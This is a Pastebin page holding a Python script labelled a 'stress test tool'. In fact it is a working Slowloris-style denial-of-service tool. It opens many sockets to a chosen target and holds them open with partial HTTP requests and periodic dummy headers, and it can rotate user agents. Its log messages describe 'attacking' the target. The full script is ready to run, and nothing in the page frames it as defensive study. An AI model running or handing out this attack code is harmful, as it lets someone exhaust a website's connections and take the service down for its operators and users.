Advertisement
PSN_CR33P

Stress test TooL.......

May 28th, 2019
240
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.67 KB | None | 0 0
  1. # /**************************\
  2. # |--- xAGENT-5063_0205 ---  |
  3. # |  Python application for  |
  4. # |     site stress test     |
  5. # \**************************/
  6.  
  7. import argparse
  8. import logging
  9. import random
  10. import socket
  11. import ssl
  12. import sys
  13. import time
  14.  
  15. parser = argparse.ArgumentParser(description="IS Stresser - simple stress test tool.", add_help=False)
  16. parser.add_argument('host', nargs="?", help="Target of test.")
  17. parser.add_argument('-h', '--help', action='help', default=argparse.SUPPRESS, help='Show these instructions.')
  18. parser.add_argument('-p', '--port', default=80, help="Target port (default 80).", type=int)
  19. parser.add_argument('-s', '--sockets', default=100, help="Number of sockets to use (default 100).", type=int)
  20. parser.add_argument('-d', '--detaje', dest="verbose", action="store_true", help="Verbose logging.")
  21. parser.add_argument('-r', '--random-ua', dest="randuseragent", action="store_true", help="Use random user-agents.")
  22. parser.add_argument('-q', '--qete', dest="quiet", action="store_true", help="Don't show anything.")
  23. parser.add_argument("--https", dest="https", action="store_true", help="Use HTTPS.")
  24.  
  25. parser.set_defaults(verbose=False)
  26. parser.set_defaults(randuseragent=False)
  27. parser.set_defaults(https=False)
  28. parser.set_defaults(quiet=False)
  29.  
  30. args = parser.parse_args()
  31.  
  32. if len(sys.argv) <= 1:
  33.     parser.print_help()
  34.     sys.exit()
  35.  
  36. if args.verbose and args.quiet:
  37.     print("Use either -d or -q!")
  38.     sys.exit()
  39. else:
  40.     if args.verbose:
  41.         logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.DEBUG)
  42.     elif args.quiet:
  43.         logging.basicConfig(level=logging.CRITICAL)
  44.     else:
  45.         logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.INFO)
  46.  
  47. list_of_sockets = []
  48.  
  49. user_agents = [
  50.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
  51.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
  52.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
  53.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
  54.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
  55.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
  56.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
  57.     "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393"
  58.     "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
  59.     "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
  60.     "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
  61.     "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
  62.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
  63.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
  64.     "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  65.     "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
  66. ]
  67.  
  68. logging.info("\nAuthor:xAGENT-5063_0205 \nVersion: 1.0")
  69.  
  70. def init_socket(ip):
  71.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  72.     s.settimeout(4)
  73.     if args.https:
  74.         s = ssl.wrap_socket(s)
  75.    
  76.     s.connect((ip, args.port))
  77.  
  78.     s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
  79.     if args.randuseragent:
  80.         s.send("User-Agent: {}\r\n".format(random.choice(user_agents)).encode("utf-8"))
  81.     else:
  82.         s.send("User-Agent: {}\r\n".format(user_agents[0]).encode("utf-8"))
  83.     s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
  84.     return s
  85.  
  86. def main():
  87.     ip = args.host
  88.     socket_count = args.sockets
  89.     logging.info("Attacking %s with %s sockets.", ip, socket_count)
  90.     logging.info("Creating sockets.")
  91.     for _ in range(socket_count):
  92.         try:
  93.             logging.debug("Creating socket %s", _)
  94.             s = init_socket(ip)
  95.         except socket.error:
  96.             logging.info("Socket creation failed. Connection error.")
  97.             break
  98.         list_of_sockets.append(s)
  99.     while True:
  100.         try:
  101.             logging.info("Sending keep-alive headers using %s sockets.", len(list_of_sockets))
  102.             for s in list(list_of_sockets):
  103.                 try:
  104.                     s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
  105.                 except socket.error:
  106.                     list_of_sockets.remove(s)
  107.                    
  108.             for _ in range(socket_count - len(list_of_sockets)):
  109.                 logging.debug("Recreating sockets.")
  110.                 try:
  111.                     s = init_socket(ip)
  112.                     if s:
  113.                         list_of_sockets.append(s)
  114.                 except socket.error:
  115.                     logging.info("Socket recreation failed. Connection error.")
  116.                     break
  117.             time.sleep(15)
  118.        
  119.         except (KeyboardInterrupt, SystemExit):
  120.             logging.info("Attack was stopped.")
  121.             break
  122.  
  123. if __name__ == "__main__":
  124.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement